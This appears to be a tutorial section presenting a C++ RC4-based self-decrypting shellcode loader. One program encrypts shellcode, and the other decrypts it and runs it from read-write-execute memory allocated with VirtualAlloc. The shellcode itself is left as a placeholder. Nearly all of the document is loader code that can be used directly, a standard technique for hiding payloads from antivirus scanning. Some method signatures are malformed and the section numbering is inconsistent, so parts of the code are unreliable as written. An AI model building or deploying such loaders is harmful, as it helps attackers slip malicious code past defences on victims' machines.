1c. RC4-Based Self-Decrypting Payload (C++)

https://www.oryx-embedded.com/doc/rc4_8c_source.html
https://source.winehq.org/WineAPI/SystemFunction032.html

2. RC4-Based Self-Decrypting Payload (C++)

Step 1: Encrypt the Shellcode

#include <iostream>
#include <vector>

class RC4 {
public:
    RC4(const std::vector<unsigned char>& key) {
        for (int i = 0; i < 256; i++) S[i] = i;
        int j = 0;
        for (int i = 0; i < 256; i++) {
            j = (j + S[i] + key[i % key.size()]) % 256;
            std::swap(S[i], S[j]);
        }
        i = j = 0;
    }

    void processvector<unsigned char>& data {
        for (size_t k = 0; k < data.size(); k++) {
            i = (i + 1) % 256;
            j = (j + S[i]) % 256;
            std::swap(S[i], S[j]);
            data[k] ^= S[(S[i] + S[j]) % 256];
        }
    }

private:
    unsigned char S[256];
    int i, j;
};

int main() {
    std::vector<unsigned char> shellcode = { /* Your original shellcode */ };
    std::vector<unsigned char> key = { 's', 'e', 'c', 'r', 'e', 't' };

    RC4 rc4(key);
    rc4.process(shellcode);

    std::cout << "unsigned char payload[] = { ";
    for (auto byte : shellcode) {
        std::cout << "0x" << std::hex << (int)byte << ", ";
    }
    std::cout << "};\n";

    return 0;
}

Run this to generate the encrypted payload and replace payload[] in Step 2.


Step 2: Self-Decrypting Payload (With Memory Execution)

#include <windows.h>
#include <vector>
#include <iostream>

class RC4 {
public:
    RC4(const std::vector<unsigned char>& key) {
        for (int i = 0; i < 256; i++) S[i] = i;
        int j = 0;
        for (int i = 0; i < 256; i++) {
            j = (j + S[i] + key[i % key.size()]) % 256;
            std::swap(S[i], S[j]);
        }
        i = j = 0;
    }

    void processvector<unsigned char>& data {
        for (size_t k = 0; k < data.size(); k++) {
            i = (i + 1) % 256;
            j = (j + S[i]) % 256;
            std::swap(S[i], S[j]);
            data[k] ^= S[(S[i] + S[j]) % 256];
        }
    }

private:
    unsigned char S[256];
    int i, j;
};

int main() {
    unsigned char payload[] = { /* Encrypted shellcode goes here */ };
    size_t payload_size = sizeof(payload);
    std::vector<unsigned char> key = { 's', 'e', 'c', 'r', 'e', 't' };

    std::vector<unsigned char> decrypted(payload, payload + payload_size);
    RC4 rc4(key);
    rc4.process(decrypted);

    void* exec_mem = VirtualAlloc(NULL, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(exec_mem, decrypted.data(), payload_size);

    ((void(*)())exec_mem)();
    return 0;
}